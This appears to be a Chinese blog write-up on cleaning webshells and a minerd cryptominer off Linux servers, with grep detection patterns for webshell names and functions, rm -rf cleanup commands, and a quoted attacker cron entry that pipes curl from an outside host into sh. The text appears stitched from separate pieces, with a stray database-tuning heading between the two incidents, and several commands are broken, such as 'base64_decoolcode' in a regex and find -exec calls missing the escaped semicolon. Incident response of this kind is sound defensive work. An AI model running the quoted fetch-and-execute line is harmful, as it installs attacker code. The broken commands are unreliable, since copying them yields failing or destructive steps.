记一次Linux服务器上查杀木马经历
#全盘搜索木马文件,并记录在/tmp/php.txt文件内
find
/ -name
"*.php"
|
xargs
egrep
"phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc))"
>
/tmp/php
.txt
#全盘查找后缀为.php的文件,并且该文件内容有"eval"字样
find
/ -name
"*.php"
|
xargs
grep
"eval"
|
more
#一般的木马文件除了会有eval还有shell_exec,passthru等特殊字样,因此可以将上面的命令拓展
find
/ -name
"*.php"
|
xargs
grep
"shell_exec"
|
more
find
/ -name
"*.php"
|
xargs
grep
"passthru"
|
more
#然后通过more命令分屏显示,在人工查看文件做审查。
那么是那个应用程序在一直往外发送包呢? 我首先检查了Linux系统日志,发现了一些错误、告警信息。但是作用不大。于是在服务器上安装了NetHogs应用程序,实时监控Linux进程的网络带宽占用情况。
监控过程确实发现了一些异常情况的进程:
1:/home/WDPM/Development/WebServer/apache-tomcat-7.0.61/cmys 一直在往外发包
2:/usr/bin/bsd-port/agent 一直在往外发包。
3:./cmys一直在往外发包
4:不时出现下面大量异常进程
我们的服务器环境是linux,所以,肯定少不了用find这个命令,并且需要配合ls命令来使用。
1、可以查找近3天被修改过的文件,并显示文件列表详细信息:
find -name "*.php" -type f -mtime -3 -exec ls -l {} ;
当然,结果中可能会包含很多cache类文件,这些文件不是我们要查找的,那么就需要把这类文件从查询结果中排除掉,往往cache文件都存放到cache特定的目录。
使用 -prune 参数来进行过滤,增加排除某些目录条件的查询命令:
find . -path "/xxxxx/caches" -prune -o -name "*.php" -type f -mtime -3 -exec ls -l {} ;
注意:
(1)、要忽略的路径参数必须紧跟着搜索的路径之后,否则该参数无法起作用。
(2)、路径结尾不要有“/”符号。
2、查到可疑文件,分析,确定是木马后,根据木马文件的文件信息查找更多的存放位置。比如木马的文件名称为“muma.php”。
find . -name "muma.php" -type f -mtime -5 -exec ls -l {} ;
20160426144502
以上命令,是放宽了查询时间的长度,查询最近5天该名称文件的信息列表,可以通过查看文件大小来判定是否是同样的木马文件。
看图中命令结果,文件大小都是“233”,则有很大的可能性是同样的木马文件,综合修改时间判断,最好是也cat一下检查核验,以免误杀。
可以利用find和ls命令的一些更丰富的参数信息来判定分析。
可能会用到find命令的参数功能列表:
find /home -size +512k #查大于512k的文件
find /home -size -512k #查小于512k的文件
find /home -mtime -2 # 在/home下查最近两天内改动过的文件
find /home -atime -1 # 查1天之内被存取过的文件
find /home -mmin +60 # 在/home下查60分钟前改动过的文件
find /home -amin +30 # 查最近30分钟前被存取过的文件
find /home -newer tmp.txt # 在/home下查更新时间比tmp.txt近的文件或目录
find /home -anewer tmp.txt # 在/home下查存取时间比tmp.txt近的文件或目录
结合ls的两种时间信息:
ls -lc filename 列出文件的 ctime 是在写入文件、更改所有者、权限或链接设置时随Inode的内容更改而更改的时间。
ls -l filename 列出文件的 mtime 在写入文件时随文件内容的更改而更改的时间。
ctime和mtime不一致时有可能是木马文件,黑客有可能会修改了mtime时间。
3、删除木马文件
这一步应该是进一步分析木马的入侵路径等,但是这个过程又是另一个非常复杂的系统工程,后边再详细说明,暂时跳过。
find . -name "muma.php" -type f -mtime -5 -size -5k -exec rm -rf {} ;
增加一个过滤条件,-size -5k,即文件大小小于5k的。
4、查找目录下文件内容包含木马特定字符串的文件列表,并删除处理。
查找文件,并显示文件的ctime时间,比对文件信息
find . -name "*.php" -exec grep -rl "YLbgPfj524" {} ; -exec ls -lc {} ;
确认没有问题后,删除掉
find . -name "*.php" -exec grep -rl "YLbgPfj524" {} ; -exec rm -rfv {} ;
Oracle & MSSQL & Postgresql & Mysql 调优 & 优化
上了vps,发现连接特别慢,马上top
查看下,输入P
进行按照CPU排序。
多了个CPU占用特别高的陌生程序minerd
,明显是被挂马了,网上搜索了下,发现这个是个挖矿程序,被攻击了。
使用kill -9 pid
明显杀掉进程,但是马上又自动运行了,应该有其他守护程序还在运行。
再次ps -aux
查看了下进程,没有发现什么异常的进程,我的进程数不多,开启的服务也比较少,比较集中的程序是在/etc/inti.d/
目录,进去使用ll -a
查看了下,发现ntp
服务在前两天被修改过,和minerd
的时间刚好匹配上。
马上kill
掉这个程序,在kill minerd
,发现终于恢复正常了。
木马彻底清除
- 检查定时任务列表,发现多了个
*/10 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh
,马上删除处理。注意,这里需要删除/var/spool/cron/root
和/var/spool/cron/crontabs/root
两个文件中的。 - 检查开机启动程序,
chkconfig --list
查看是否有多余的程序,chkconfig --del ntp
删除刚刚的木马程序。 rm -f /etc/init.d/ntp
和rm -f /usr/sbin/ntp
, 另外删除minerd
程序rm -f /opt/minerd
。- 删除无需密码ssh登陆文件,防止被利用再次登陆,
echo "" > ~/.ssh/authorized_keys
,
被入侵定位
是redis被攻击,没有开启密码验证,以及默认配置开放了外网。之前就有报过redis漏洞问题,但是我一直没用到redis,所以一直也没管,没想到因为装了redis做测试,这次被入侵了。